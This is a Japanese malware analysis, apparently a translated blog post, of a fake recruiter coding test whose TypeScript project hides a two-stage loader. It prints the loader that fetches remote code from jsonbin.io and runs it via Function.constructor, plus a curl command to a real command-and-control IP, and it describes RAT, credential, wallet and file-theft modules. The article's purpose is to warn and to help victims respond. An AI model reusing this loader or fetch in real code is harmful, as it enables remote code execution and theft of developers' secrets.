
2026/08/21 0:50
面接を利用してシステムに侵入する方法
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
直近の LinkedIn での高収入リモートソフトウェアエンジニア職のオファーが、開発者の認証情報を盗もうとする洗練されたフィッシング攻撃であることが判明した。このスキャンダルは一般 Gmail アドレスから発信され、導入電話を省略することで標準的な選定プロセスを回避し、予期しない言語でコーディングテストを提供していた。提供された TypeScript コードを実行すると
initPriceConfig 関数がトリガーされ、これを介してリモートコード実行により Function.constructor を使用してリモートアクセストロイの木馬(RAT)が動的に読み込まれた。その後、マルウェアは JWT 認証トークンを介して Command & Control サーバーから追加の暗号化された JavaScript をダウンロードし、完全なシステム制御を可能にした。
この脅威は、OS の権限を昇格させることなく、AWS クレデンシャルや暗号通貨ウォレットデータなど機密ユーザーファイルを直接標的にした。機能には、人工的なキーボード/マウス入力の生成、SSH ピボティング、PEM キーの盗難、画面キャプチャー、仮想マシンフィンガープリンティング、ブラウザ認証情報の抽出、28 の拡張機能(例:MetaMask、Phantom)からのウォレットデータ収集、.env ファイルの読み取り、クリップボード監視、そして企業/NAT プロキシを通じて外部への流出経路を確立する能力が含まれる。即座に対処しない場合、攻撃者は機密と秘密鍵を盗むための永続的なアクセスを維持でき、組織に対し SSH キーの全回転化、パスワード変更、リポジトリ内の平文機密の削除、および必要に応じて影響を受けたシステムの再インストールを余儀なくされる。専門家は、コードを実行する際に孤立した仮想環境(例:Vagrant VM スナップショット)を使用し、マウントされたホストデータに対して Docker を注意深く利用するか、または実行前に異常を検出する AI ツールを採用することを推奨している。
本文
リクルーターを名乗るフィッシング攻撃と二段階ローダーの解析:被害防止対策
現在、IT 人材市場は厳しく、LinkedIn を介した適切なオファーを受け取ることは幸運ですが、一見して安全に見える求人情報が実は高度な攻撃である可能性があります。
「パートタイム・リモート勤務・時給良好」という魅力的な条件で LinkedIn に掲載され、数回のやり取り後にコーディング課題の送信が突然始まったケースは、典型的なフィッシング攻撃です。
事象の始まり:コードベースからシステムを乗っ取る仕組み
今回の攻撃では、TypeScript コードベース(約 180 ファイル)を通じてシステムへのアクセス権限を取得し、悪意のあるデータを転送するプロセスが実行されました。
【懸念すべき 5 つのポイント】
テストを受ける前に以下の異常を検知すべきです:
- 連絡先人物が LinkedIn に掲載された社員リストに含まれていない。
- 課題受領前に「自己紹介のための電話」などの予備ステップがない。
- テスト言語が申請者の熟悉的な言語ではない。
- コードが Bitbucket で公開されており、不自然。
- 送信元メールアドレスが企業ドメインではなく
である。@gmail.com
【危険な初期設定コード】
与えられたプロジェクトの起動関数には、以下の脆弱性が含まれていました。
const initPriceConfig = async () => { const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d"; const res = (await axios.get(`${src}`)); // 関数型コンストラクタを使って動的にコードを実行する const handler = new (Function.constructor)('require', res.data.record.model); if (handler) handler(require); }; initPriceConfig();
このコードは
npm run dev 実行時に呼び出され、require 権限を悪用して以下の行為が可能になります:
- シェルアウト:
で外部コマンドを実行。require('child_process') - ファイル操作:
でファイルシステムを書き換え、永続化データを記録。require('fs') - データ流出:
/require('net')
で独自の通信チャネルを開設。'https' - 環境変数窃取:
からprocess.env
やMONGO_URI
などの機密情報を取得。JWT_SECRET
詳細解説:二段階ローダー(二段階のコード実行)
攻撃者は「jsonbin.io」経由で初期ロードし、さらに**遠隔コード実行(RCE)**用の第二段階のデータを入手する手法を使いました。
- 第一段階:
から暗号化されたペイロード(約 24KB の webpack バンドル)を入手。api.jsonbin.io - 第二段階: ペイロードを復号化し、C2 サーバーから最終的な攻撃コードを取得。
# 取得に使用されたコマンド例 curl -sS -v --max-time 30 \ -H 'Authentication: jwt' \ -H 'Accept: application/json, text/plain, */*' \ -A 'axios/1.5.3' \ -D headers.txt \ -o body.bin \ 'http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5'
C2 サーバーが提供する 4 つの悪意あるモジュール
取得されたコードには以下の高度な機能が含まれていました:
1. scdata (遠隔アクセストロイの木馬 / RAT)
- 完全シェル機能(node-pty搭載)。
- SSH 鍵窃取、Pivoting。
- 人工的なキーボード・マウス操作(
)。@nut-tree-fork/nut-js - スクリーンショット取得(
)。screenshot-desktop+sharp - VM/物理機識別: システム情報を収集し、仮想環境か実機かを判別。
2. ldata (認証情報・ウォレット盗難モジュール)
- ブラウザプロファイル窃取: Chrome, Edge, Brave, LT の全 3 オス対応。
- ログインデータ、Web データ、拡張機能設定(LevelDB)、macOS キーチェーン。
- 暗号資産ウォレット標的:
- MetaMask, Phantom, Coinbase, Binance, TronLink など28 種類以上のウォレット。
- 無限ループで動作し、1 分ごとにデータを再アップロード。
3. ファイル Grabber (ファイルスキャン・窃取)
- ホームディレクトリを巡回。
- 標的ファイル: プライベートキー、シークレットフレーズ、
、SSH キー (.env
,*.pem
) など。*.p12 - 標的ディレクトリ:
,.ssh
,.aws
,.gnupg
など。.docker - Windows 対応: すべてのドライブ(ネットワークドライブ含む)をスキャン。
4. クリップボードモニター
- クリップボードのポーリングを行い、悪意のあるログ名(
)で外部へ転送。npm-compiler.log
【通信経路の特徴】
- 被害者のシステムは攻撃サーバー
だけにアウトバウンド接続を行います。147.189.174.138:7321 - インバウンドポートを開けずとも、NAT やプロキシの壁を越えて動作。
- 被害者の IP アドレスが変化しても影響を受けない設計です。
なぜ全てのファイルにアクセスできるのか?
マルウェアは権限昇格(root/Sudo)を求めず、現在のユーザー権限で動作します。これにより以下の機密情報が漏洩します:
- SSH 鍵:
など~/.ssh/id_rsa - クラウド認証:
,~/.aws/credentials
など~/.azure - 環境変数:
ファイル内の DB パスワードや API キー.env - ブラウザデータ: ウォレットファイル、ログイン情報
Node.js プロセスはユーザー権限で動作するため、これらにアクセスする正当な権限を天然に持っています。Windows 版ではさらにマウントされたドライブも対象範囲に含まれます。
次のために取るべき予防策
100% の保護は不可能ですが、以下の対策でリスクを低減できます。
❌ AI ツールだけで防御するのは弱すぎる
- 異常なコードパターンの検出のみ可能。
への呼び出し自体は見逃せず、返されるコードの安全性までは判断できない。jsonbin.io
⚠️ Docker で完全に隔離できるわけではない
- ホストシステムからコードは隔離できるが、ホストデータをマウントすると漏洩する。
- スクリプト実行時に外部リソースにアクセスする可能性が残る。
✅ Vagrant(仮想マシン)が最も推奨される環境
- 完全な隔離: 実機とは物理的に分離可能。
- スナップショット機能: 終了後に状態を戻せるため、被害が拡大しても迅速に復旧。
- UI がない場合のメリット: ブラウザデータやスクリーンショット撮影モジュールは自発的に動作せず、自己制限される傾向がある。
【RAT の対策に関する注意点】 RAT は積極的に VM を識別します(
,system_profilerなど)。/proc/cpuinfo
- 仮想環境と実機を判別し、優先度を下げるか慎重に対処するフラグを立てる。
- ただし、RAT やファイル Grabber モジュールは依然として機能するため、完全な安心は得られない。
【AI スキャンの限界】 異常パターンを検出させるための指示を与えても、特定のマルウェアコードは見逃される可能性が高い。
次にどうすればよいか:被害発生時の対応策
万一感染した場合、以下の緊急対応が必要です:
- SSH キーの破棄とローテーション: 直ちに無効化し、新しい鍵を設定。
- パスワード変更: 全アカウント(GitHub, AWS など)で即時変更。
- 機密情報の再確認:
や明文化された秘密情報を確認・更新。.env - 【最重要】OS の再インストール: 安全を最優先し、クリーンな状態からの再構築を行うこと。
本記事は 2026 年 8 月 17 日に作成され、2026 年 8 月 20 日に更新された情報に基づいています。